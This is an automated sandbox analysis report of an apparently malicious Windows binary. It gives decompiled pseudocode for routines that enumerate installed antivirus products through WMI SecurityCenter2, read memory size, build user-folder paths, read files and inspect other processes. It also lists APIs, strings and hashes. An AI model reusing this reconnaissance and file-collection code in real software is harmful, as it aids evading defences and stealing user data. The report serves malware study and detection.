				 *((intOrPtr*)( *((intOrPtr*)(_t89 + 0x10))))(_t61, L"displayName", 0,  &_v148, 0, 0);
				L0041FDF0(_v140,  &_v80);
				_v8 = 3;
				_t65 = L00420540( &_v80,  &_v108);
				if(_t65[0x14] < 0x10) {
					_t94 = _t65;
				} else {
					_t94 =  *_t65;
				}
				E00405010( &_v108);
				L00410770( &_v80);
				__imp__#9( &_v148);
				E00405010( &_v52);
				_t53 = _t94;
				goto L11;
			}

0x0041fc47
0x0041fc4c
0x0041fc4e
0x0041fc58
0x0041fc5e
0x0041fc65
0x0041fc68
0x0041fc79
0x0041fc90
0x0041fc93
0x0041fc99
0x0041fc9c
0x0041fca6
0x0041fcb4
0x0041fcb8
0x0041fdc2
0x0041fdc2
0x0041fdc7
0x0041fdca
0x0041fdd2
0x0041fdd3
0x0041fdd4
0x0041fde2
0x0041fde2
0x0041fccc
0x0041fcd2
0x0041fcd8
0x0041fcd9
0x0041fcda
0x0041fcdc
0x0041fce1
0x0041fce4
0x0041fce6
0x0041fce9
0x0041fcee
0x0041fcf3
0x00000000
0x00000000
0x0041fcf9
0x0041fcfc
0x0041fcff
0x0041fd06
0x0041fd09
0x0041fd0c
0x0041fd10
0x0041fd15
0x00000000
0x00000000
0x0041fd21
0x0041fd2d
0x0041fd32
0x0041fdb4
0x0041fdb9
0x0041fdba
0x0041fdbf
0x00000000
0x0041fdb4
0x0041fd3b
0x0041fd4a
0x0041fd4e
0x0041fd51
0x0041fd53
0x0041fd5d
0x0041fd68
0x0041fd72
0x0041fd76
0x0041fd7f
0x0041fd85
0x0041fd81
0x0041fd81
0x0041fd81
0x0041fd8a
0x0041fd92
0x0041fd9e
0x0041fda7
0x0041fdac
0x00000000

APIs

VariantInit.OLEAUT32(?), ref: 0041FD3B

Part of subcall function 0041FDF0: _wcslen.LIBCMT ref: 0041FE04

Part of subcall function 00420540: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0042056E
Part of subcall function 00420540: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,0041FD7B,00000000,00000000), ref: 0042059C
Part of subcall function 00420540: _strlen.LIBCMT ref: 004205B4

VariantClear.OLEAUT32(?), ref: 0041FD9E

Strings

Unknown, xrefs: 0041FDC2
root\SecurityCenter2, xrefs: 0041FCAB
WQL, xrefs: 0041FCE9
displayName, xrefs: 0041FD57
Select * From AntiVirusProduct, xrefs: 0041FCDC

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ByteCharMultiVariantWide$ClearInit_strlen_wcslen
String ID: Select * From AntiVirusProduct$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 983577311-2561087649
Opcode ID: 906cabca6b0d2e6eff4e559c6fc8d6c03c8e21b605ba40a3399fae7fae4b6d33
Instruction ID: d2f2c6c24815fbd96f04aaa5e06176774d1766e3a74f5c48ec0a7bcb8c1a0bee
Opcode Fuzzy Hash: 906cabca6b0d2e6eff4e559c6fc8d6c03c8e21b605ba40a3399fae7fae4b6d33
Instruction Fuzzy Hash: 1F5139B1A00208AFEB10DFA5DC84EAEB77CFB49304F20452EF116A7281D775AE45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041EEF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EEF0(void* __ebx, void* __edi) {
				signed int _v8;
				struct _MEMORYSTATUSEX _v76;
				void* __esi;
				signed int _t12;
				void* _t17;
				unsigned int _t18;
				unsigned int _t22;
				void* _t23;
				signed int _t25;
				void* _t29;
				void* _t30;
				CHAR* _t31;
				signed int _t32;

				_t30 = __edi;
				_t23 = __ebx;
				_t12 =  *0x450664; // 0x30e242aa
				_v8 = _t12 ^ _t32;
				_t31 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t17 = L00429B30( &_v76, 0, 0x40);
				_v76.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v76); // executed
				if(_t17 != 1) {
					_t25 = 0;
					_t18 = 0;
				} else {
					_t22 = _v76.ullAvailPhys;
					_t25 = (_t22 << 0x00000020 | _v76.ullTotalPhys) >> 0x14;
					_t18 = _t22 >> 0x14;
				}
				wsprintfA(_t31, "%d MB", _t25);
				return E00429B16(_t31, _t23, _v8 ^ _t32, _t29, _t30, _t31, _t18);
			}

0x0041eef0
0x0041eef0
0x0041eef6
0x0041eefd
0x0041ef17
0x0041ef1f
0x0041ef2b
0x0041ef32
0x0041ef3b
0x0041ef4c
0x0041ef4e
0x0041ef3d
0x0041ef3d
0x0041ef43
0x0041ef47
0x0041ef47
0x0041ef58
0x0041ef71

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 0041EF08
RtlAllocateHeap.NTDLL(00000000), ref: 0041EF0F
_memset.LIBCMT ref: 0041EF1F
GlobalMemoryStatusEx.KERNEL32(?), ref: 0041EF32
wsprintfA.USER32 ref: 0041EF58

Strings

@, xrefs: 0041EF2B
%d MB, xrefs: 0041EF52

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus_memsetwsprintf
String ID: %d MB$@
API String ID: 158745248-3474575989
Opcode ID: 6bda817126d95ab90f0fdece755722111ccf8c1c823192826aac68ea4b31ba07
Instruction ID: 0011d44bd88198be6326cb8c03244aa96716e68f8fe01ff5c5015e263e84f7d2
Opcode Fuzzy Hash: 6bda817126d95ab90f0fdece755722111ccf8c1c823192826aac68ea4b31ba07
Instruction Fuzzy Hash: 01016771A0121CBBD704DFA4ED46BAEB768EF04706F440169FD06D7281EA74D911C79D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B530 Relevance: 10.6, APIs: 7, Instructions: 59
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040B530(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v1012;
				void* _v2012;
				char _v3012;
				signed int _t16;
				void* _t30;
				CHAR* _t41;
				signed int _t47;

				_t16 =  *0x450664; // 0x30e242aa
				_v8 = _t16 ^ _t47;
				L00429B30( &_v1012, 0, 0x3e8);
				L00429B30( &_v3012, 0, 0x3e8);
				_t41 =  *0x452d7c; // 0x509ba58
				lstrcatA( &_v3012, _t41);
				L00429B30( &_v2012, 0, 0x3e8);
				_t10 = (0 |  *0x4534c0(0x1a, 0, 0,  &_v2012) < 0x00000000) - 1; // -1
				lstrcatA( &_v1012, _t10 &  &_v2012);
				lstrcatA( &_v1012,  &_v3012);
				_t30 = E0040B0F0( &_v1012, __edi); // executed
				return E00429B16(_t30, __ebx, _v8 ^ _t47,  &_v1012, __edi, __esi, 0);
			}

0x0040b539
0x0040b540
0x0040b551
0x0040b567
0x0040b56c
0x0040b57d
0x0040b591
0x0040b5bb
0x0040b5c8
0x0040b5dc
0x0040b5e8
0x0040b5fa

APIs

_memset.LIBCMT ref: 0040B551
_memset.LIBCMT ref: 0040B567
lstrcatA.KERNEL32(?,0509BA58), ref: 0040B57D
_memset.LIBCMT ref: 0040B591
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0040B5A8
lstrcatA.KERNEL32(?,-00000001), ref: 0040B5C8
lstrcatA.KERNEL32(?,?), ref: 0040B5DC

Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B119
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B12F
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B145
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B15B
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B171
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B187
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B19D
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B1B3
Part of subcall function 0040B0F0: _memset.LIBCMT ref: 0040B1C9
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,050986F0), ref: 0040B1DE
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,0509B878), ref: 0040B1F2
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,05098710), ref: 0040B206
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,05098530), ref: 0040B219
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,0509B890), ref: 0040B22D
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?), ref: 0040B23B
Part of subcall function 0040B0F0: lstrcatA.KERNEL32(?,004485EC), ref: 0040B24D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat$FolderPath
String ID:
API String ID: 154973558-0
Opcode ID: e8ed242e3c6d9ad239d77be6e93218fd901a45e59886cc5f428f6a7425d43a9c
Instruction ID: 0616fc34a1a8b25c52a2eddb90b02cae929f0908e308417406f1fcc38d331d86
Opcode Fuzzy Hash: e8ed242e3c6d9ad239d77be6e93218fd901a45e59886cc5f428f6a7425d43a9c
Instruction Fuzzy Hash: D811D631E40319ABD725EF60EC52FBA7378FF04705F4401ADB1096A0C2EA74AB088F88

Uniqueness

Uniqueness Score: -1.00%

Function 004148A0 Relevance: 9.1, APIs: 6, Instructions: 63
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004148A0(CHAR* __eax, long* __ebx, void** _a4) {
				long _v12;
				intOrPtr _v20;
				long _v24;
				void* _t11;
				long _t15;
				void* _t16;
				signed int _t17;
				void* _t29;
				signed int _t30;

				_t30 = 0;
				_t11 = CreateFileA(__eax, 0x80000000, 1, 0, 3, 0, 0); // executed
				_t29 = _t11;
				if(_t29 == 0 || _t29 == 0xffffffff) {
					L8:
					return _t30;
				} else {
					_push( &_v24);
					_push(_t29);
					if( *0x45332c() != 0 && _v20 == 0) {
						_t15 = _v24;
						 *__ebx = _t15; // executed
						_t16 = LocalAlloc(0x40, _t15); // executed
						 *_a4 = _t16;
						if(_t16 != 0) {
							_t17 = ReadFile(_t29, _t16,  *__ebx,  &_v12, 0); // executed
							_t30 = _t17 & (0 |  *__ebx == _v12);
							if(_t30 == 0) {
								LocalFree( *_a4);
							}
						}
					}
					CloseHandle(_t29);
					goto L8;
				}
			}

0x004148a8
0x004148b7
0x004148bd
0x004148c1
0x00414927
0x0041492d
0x004148c8
0x004148cb
0x004148cc
0x004148d5
0x004148dc
0x004148e2
0x004148e4
0x004148ed
0x004148f1
0x004148fd
0x0041490f
0x00414911
0x00414919
0x00414919
0x00414911
0x004148f1
0x00414920
0x00000000
0x00414920

APIs

CreateFileA.KERNEL32(0040ABC6,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,30E242AA,0000000F,?,00000000), ref: 004148B7
GetFileSizeEx.KERNEL32(00000000,?,?,?,30E242AA,0000000F,?,00000000), ref: 004148CD
LocalAlloc.KERNEL32(00000040,?,?,?,30E242AA,0000000F,?,00000000), ref: 004148E4
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,30E242AA,0000000F,?,00000000), ref: 004148FD
LocalFree.KERNEL32(00000000,?,?,30E242AA,0000000F,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00414919
CloseHandle.KERNEL32(00000000,?,?,30E242AA,0000000F,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00414920

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: b1dbc7487dc040ae332bd08e0369f20be17d958a80649fbd9c81b2ae8e219c6a
Instruction ID: 3078735a9177f7cf49ccea344df0a859456466bbe02674cc55e6fc6f8b607793
Opcode Fuzzy Hash: b1dbc7487dc040ae332bd08e0369f20be17d958a80649fbd9c81b2ae8e219c6a
Instruction Fuzzy Hash: E3119171610215ABDB21DF74CC58EAB7B7DEB857A2F000269F905D7244EB34DE40C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DFB0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 159
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040DFB0(void* __eflags, intOrPtr _a4, char _a8, CHAR* _a24, intOrPtr _a28, char _a36, intOrPtr _a56, intOrPtr _a64) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				CHAR* _v32;
				char _v48;
				intOrPtr _v56;
				CHAR* _v60;
				char _v76;
				CHAR* _v80;
				intOrPtr _v84;
				char _v88;
				intOrPtr _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				void* _t67;
				char* _t69;
				void* _t71;
				char* _t73;
				char* _t76;
				void* _t81;
				char* _t84;
				CHAR* _t85;
				void* _t87;
				void* _t89;
				char* _t90;
				void* _t101;
				void* _t104;
				void* _t105;
				void* _t108;
				CHAR* _t109;
				signed int _t110;
				void* _t111;
				char* _t113;
				void* _t114;
				void* _t115;
				void* _t117;

				_t117 = __eflags;
				_t60 =  *0x450664; // 0x30e242aa
				_v20 = _t60 ^ _t110;
				 *[fs:0x0] =  &_v16;
				_v84 = _a64;
				_v8 = 0;
				_v28 = 0xf;
				_v32 = 0;
				_v48 = 0;
				_t113 = _t111 - 0x30;
				_t90 = _t113;
				_v92 = _t113;
				_v8 = 2;
				_v88 = 0;
				_t100 =  &_a36;
				 *((intOrPtr*)(_t90 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t90 + 0x10)) = 0;
				_v80 = 0;
				 *_t90 = 0;
				E004051C0(_t90,  &_a36, 0, 0xffffffff);
				_t67 = E0040D190(_t117,  &_v76, 1, _t60 ^ _t110, _t101, _t105, _t87,  *[fs:0x0], 0x43e770, 0xffffffff); // executed
				_t114 = _t113 + 0x24;
				_v8 = 3;
				E00405040(_t67,  &_v48);
				_v8 = 2;
				if(_v56 >= 0x10) {
					_push(_v76);
					E00429B0B();
					_t114 = _t114 + 4;
				}
				_t69 = _v48;
				_v56 = 0xf;
				_v60 = 0;
				_v76 = 0;
				if(_v28 < 0x10) {
					_t69 =  &_v48;
				}
				_push("ERROR");
				_push(_t69);
				if( *0x453510() == 0) {
					L14:
					_t71 = L00429C90("ERROR");
					_t115 = _t114 + 4;
					_push(_t71);
					_push("ERROR");
				} else {
					_t76 = _a8;
					if(_a28 < 0x10) {
						_t76 =  &_a8;
					}
					_t100 = _a24;
					if(L004107A0(0,  &_v48, _t76, _a24) == 0xffffffff) {
						_t109 = _v80;
					} else {
						E00405360( &_v48, 0, _t79 + _a4);
						_t84 = _v48;
						if(_v28 < 0x10) {
							_t84 =  &_v48;
						}
						_t100 =  &_v88;
						_t85 = E0042C1AC(0,  &_v88, 0x10, _t84, _v84,  &_v88);
						_t114 = _t114 + 0xc;
						_t109 = _t85;
					}
					if(lstrlenA(_t109) < 1) {
						goto L14;
					} else {
						_t81 = L00429C90(_t109);
						_t115 = _t114 + 4;
						_push(_t81);
						_push(_t109);
					}
				}
				E004050C0(0x4512cc);
				_t73 = _v48;
				_v32 = 0;
				if(_v28 < 0x10) {
					_t73 =  &_v48;
				}
				 *_t73 = 0;
				if(_v28 >= 0x10) {
					_t100 = _v48;
					_push(_v48);
					_t73 = E00429B0B();
					_t115 = _t115 + 4;
				}
				_v28 = 0xf;
				_v32 = 0;
				_v48 = 0;
				if(_a28 >= 0x10) {
					_push(_a8);
					_t73 = E00429B0B();
					_t115 = _t115 + 4;
				}
				_a28 = 0xf;
				_a24 = 0;
				_a8 = 0;
				if(_a56 >= 0x10) {
					_push(_a36);
					_t73 = E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t104);
				_pop(_t108);
				_pop(_t89);
				return E00429B16(_t73, _t89, _v20 ^ _t110, _t100, _t104, _t108);
			}

0x0040dfb0
0x0040dfc4
0x0040dfcb
0x0040dfd5
0x0040dfde
0x0040dfe3
0x0040dfeb
0x0040dfee
0x0040dff1
0x0040dff6
0x0040dff9
0x0040dffb
0x0040dffe
0x0040e004
0x0040e008
0x0040e00b
0x0040e00e
0x0040e012
0x0040e015
0x0040e017
0x0040e020
0x0040e025
0x0040e02d
0x0040e031
0x0040e03b
0x0040e042
0x0040e047
0x0040e048
0x0040e04d
0x0040e04d
0x0040e050
0x0040e053
0x0040e05a
0x0040e05d
0x0040e063
0x0040e065
0x0040e065
0x0040e068
0x0040e06d
0x0040e076
0x0040e0e1
0x0040e0e6
0x0040e0eb
0x0040e0ee
0x0040e0ef
0x0040e078
0x0040e078
0x0040e07e
0x0040e080
0x0040e080
0x0040e083
0x0040e096
0x0040e0c5
0x0040e098
0x0040e0a0
0x0040e0a5
0x0040e0ab
0x0040e0ad
0x0040e0ad
0x0040e0b3
0x0040e0b9
0x0040e0be
0x0040e0c1
0x0040e0c1
0x0040e0d2
0x00000000
0x0040e0d4
0x0040e0d5
0x0040e0da
0x0040e0dd
0x0040e0de
0x0040e0de
0x0040e0d2
0x0040e0f9
0x0040e0fe
0x0040e101
0x0040e107
0x0040e109
0x0040e109
0x0040e10c
0x0040e111
0x0040e113
0x0040e116
0x0040e117
0x0040e11c
0x0040e11c
0x0040e124
0x0040e127
0x0040e12a
0x0040e130
0x0040e135
0x0040e136
0x0040e13b
0x0040e13b
0x0040e13e
0x0040e141
0x0040e144
0x0040e14a
0x0040e14f
0x0040e150
0x0040e155
0x0040e15b
0x0040e163
0x0040e164
0x0040e165
0x0040e173

APIs

Part of subcall function 004051C0: std::_Xinvalid_argument.LIBCPMT ref: 004051DA

Part of subcall function 0040D190: _strlen.LIBCMT ref: 0040D1EE
Part of subcall function 0040D190: _strlen.LIBCMT ref: 0040D2C1
Part of subcall function 0040D190: _memcmp.LIBCMT ref: 0040D300

Part of subcall function 00405040: _memmove.LIBCMT ref: 00405073

StrCmpCA.SHLWAPI(?,ERROR), ref: 0040E06E
lstrlenA.KERNEL32(?,?,?,?), ref: 0040E0C9
_strlen.LIBCMT ref: 0040E0D5
_strlen.LIBCMT ref: 0040E0E6

Strings

ERROR, xrefs: 0040E068, 0040E0E1, 0040E0EF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$Xinvalid_argument_memcmp_memmovelstrlenstd::_
String ID: ERROR
API String ID: 1608266234-2861137601
Opcode ID: 6761e6642a5c48085d836d35881d9a3711aa5ce87c7cf3ee93fffd90fc33a72b
Instruction ID: 97d4c66cb1b2ad62fa9c3a70e2ce96736a1a5593ced9f8efa3c37c2c4d305388
Opcode Fuzzy Hash: 6761e6642a5c48085d836d35881d9a3711aa5ce87c7cf3ee93fffd90fc33a72b
Instruction Fuzzy Hash: CF5193B1D00258EBDF00DFA5D881ADEBBB4EF48314F50853EE815B7281E7799904CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004207F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004207F0(void* __ebx, char* __esi, char _a4) {
				signed int _v8;
				char _v268;
				int _v272;
				void* __edi;
				signed int _t10;
				void* _t21;
				void* _t27;
				char* _t28;
				signed int _t29;

				_t28 = __esi;
				_t21 = __ebx;
				_t10 =  *0x450664; // 0x30e242aa
				_v8 = _t10 ^ _t29;
				_t2 =  &_a4; // 0x40eb47
				_v272 = 0;
				_t27 = OpenProcess(0x410, 0,  *_t2);
				if(_t27 != 0) {
					 *0x45350c(_t27, 0,  &_v268, 0x104); // executed
					CloseHandle(_t27);
				}
				 *((intOrPtr*)(_t28 + 0x14)) = 0xf;
				 *(_t28 + 0x10) = 0;
				 *_t28 = 0;
				E004050C0(_t28,  &_v268, L00429C90( &_v268));
				return E00429B16(_t28, _t21, _v8 ^ _t29,  &_v268, _t27, _t28);
			}

0x004207f0
0x004207f0
0x004207f9
0x00420800
0x00420803
0x0042080f
0x0042081f
0x00420823
0x00420834
0x0042083b
0x0042083b
0x00420847
0x0042084e
0x00420856
0x0042086b
0x00420880

APIs

OpenProcess.KERNEL32(00000410,00000000,G@,00000010), ref: 00420819
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00420834
CloseHandle.KERNEL32(00000000), ref: 0042083B
_strlen.LIBCMT ref: 00420859

Strings

G@, xrefs: 00420803, 00420807

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess_strlen
String ID: G@
API String ID: 3600082427-1264061026
Opcode ID: 9b4a4b3e9dd6b76625fd1db21b02f830161d40f4037daa35120f6fd9fc93454f
Instruction ID: 83fd7ada4b0ffb1dd8dd34fa359f9ddc90a5620823e6a16cc2bf7eb852539bb2
Opcode Fuzzy Hash: 9b4a4b3e9dd6b76625fd1db21b02f830161d40f4037daa35120f6fd9fc93454f
Instruction Fuzzy Hash: B501D870600308ABD720DF55EC45BAE77F4AB44705F40016DF54597281DBB4AA848F99

Uniqueness

Uniqueness Score: -1.00%

Function 0042A7D1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E0042A7D1(void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				char* _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				char _v40;
				void* __ebx;
				void* _t38;
				signed int _t39;
				signed char _t44;
				intOrPtr _t45;
				signed int _t46;
				signed int _t48;
				signed int _t51;
				void* _t55;
				char _t56;
				signed int _t57;
				intOrPtr* _t63;
				void* _t67;
				signed int _t68;
				void* _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t75;

				_t73 = __esi;
				_t69 = __edi;
				_t67 = __edx;
				while(1) {
					_t38 = E0042A0BB(_t67, _t69, _t73, _a4); // executed
					if(_t38 != 0) {
						return _t38;
					}
					_t39 = E004318E4(_t38, _a4);
					__eflags = _t39;
					if(_t39 == 0) {
						__eflags =  *0x451c9c & 0x00000001;
						if(( *0x451c9c & 0x00000001) == 0) {
							 *0x451c9c =  *0x451c9c | 0x00000001;
							__eflags =  *0x451c9c;
							_push(1);
							_v8 = "bad allocation";
							E0042A14F(0x451c90,  &_v8);
							 *0x451c90 = 0x4402a4;
							L0042C481( *0x451c9c, 0x43f441);
						}
						E0042A283( &_v20, 0x451c90);
						_v20 = 0x4402a4;
						L0042D646( &_v20, 0x44cd60);
						asm("int3");
						_push(_t55);
						_push(0x4402a4);
						_t75 = _v16;
						_v16 = _t75;
						L00429BAA(_t55,  &_v40, 0x451c90, _v4);
						_t68 = _v8;
						_t56 = 0;
						__eflags = _t75;
						if(_t75 != 0) {
							L12:
							_t63 = _a4;
							__eflags = _t63 - _t56;
							if(_t63 != _t56) {
								L14:
								_push(0x451c90);
								_t71 = _v20;
								__eflags =  *((intOrPtr*)(_t71 + 8)) - _t56;
								if( *((intOrPtr*)(_t71 + 8)) != _t56) {
									while(1) {
										__eflags = _t68 - _t56;
										if(_t68 == _t56) {
											break;
										}
										_t44 =  *_t63;
										_t57 = _t44 & 0x000000ff;
										_t68 = _t68 - 1;
										__eflags =  *(_t57 + _t71 + 0x1d) & 0x00000004;
										 *_t75 = _t44;
										if(( *(_t57 + _t71 + 0x1d) & 0x00000004) == 0) {
											_t75 = _t75 + 1;
											_t56 = 0;
											_t63 = _t63 + 1;
											__eflags = _t44;
											if(_t44 == 0) {
												goto L21;
											} else {
												continue;
											}
											goto L27;
										} else {
											_t56 = 0;
											__eflags = _t68;
											if(_t68 == 0) {
												 *_t75 = 0;
											} else {
												_t48 =  *((intOrPtr*)(_t63 + 1));
												_t68 = _t68 - 1;
												 *(_t75 + 1) = _t48;
												_t75 = _t75 + 2;
												_t63 = _t63 + 2;
												__eflags = _t48;
												if(_t48 != 0) {
													continue;
												} else {
													 *((char*)(_t75 - 2)) = 0;
													L21:
													__eflags = _t68 - _t56;
													if(_t68 != _t56) {
														L00429B30(_t75, _t56, _t68);
													}
												}
											}
										}
										L23:
										__eflags = _v12 - _t56;
										if(_v12 != _t56) {
											_t46 = _v16;
											_t35 = _t46 + 0x70;
											 *_t35 =  *(_t46 + 0x70) & 0xfffffffd;
											__eflags =  *_t35;
										}
										_t45 = _v0;
										goto L26;
									}
									goto L23;
								} else {
									_t45 = E00432890(_t75, _t63, _t68);
									__eflags = _v12 - _t56;
									if(_v12 != _t56) {
										 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
									}
								}
								L26:
							} else {
								__eflags = _t68 - _t56;
								if(__eflags != 0) {
									goto L9;
								} else {
									goto L14;
								}
							}
						} else {
							__eflags = _t68;
							if(__eflags == 0) {
								goto L12;
							} else {
								L9:
								 *((intOrPtr*)(E0042F37B(__eflags))) = 0x16;
								L00431BFA();
								__eflags = _v12 - _t56;
								if(_v12 != _t56) {
									_t51 = _v16;
									_t17 = _t51 + 0x70;
									 *_t17 =  *(_t51 + 0x70) & 0xfffffffd;
									__eflags =  *_t17;
								}
								_t45 = 0;
							}
						}
						L27:
						return _t45;
					} else {
						continue;
					}
					break;
				}
			}

0x0042a7d1
0x0042a7d1
0x0042a7d1
0x0042a7e8
0x0042a7eb
0x0042a7f3
0x0042a7f6
0x0042a7f6
0x0042a7de
0x0042a7e4
0x0042a7e6
0x0042a7f7
0x0042a808
0x0042a80a
0x0042a80a
0x0042a811
0x0042a819
0x0042a820
0x0042a82a
0x0042a830
0x0042a835
0x0042a83a
0x0042a848
0x0042a84b
0x0042a850
0x0042a859
0x0042a85a
0x0042a85b
0x0042a864
0x0042a867
0x0042a86c
0x0042a86f
0x0042a871
0x0042a873
0x0042a899
0x0042a899
0x0042a89c
0x0042a89e
0x0042a8a4
0x0042a8a4
0x0042a8a5
0x0042a8a8
0x0042a8ab
0x0042a91a
0x0042a91a
0x0042a91c
0x00000000
0x00000000
0x0042a8c6
0x0042a8c8
0x0042a8cb
0x0042a8cc
0x0042a8d1
0x0042a8d3
0x0042a912
0x0042a913
0x0042a915
0x0042a916
0x0042a918
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a8d5
0x0042a8d5
0x0042a8d7
0x0042a8d9
0x0042a920
0x0042a8db
0x0042a8db
0x0042a8de
0x0042a8df
0x0042a8e2
0x0042a8e5
0x0042a8e8
0x0042a8ea
0x00000000
0x0042a8ec
0x0042a8ec
0x0042a8ef
0x0042a8ef
0x0042a8f1
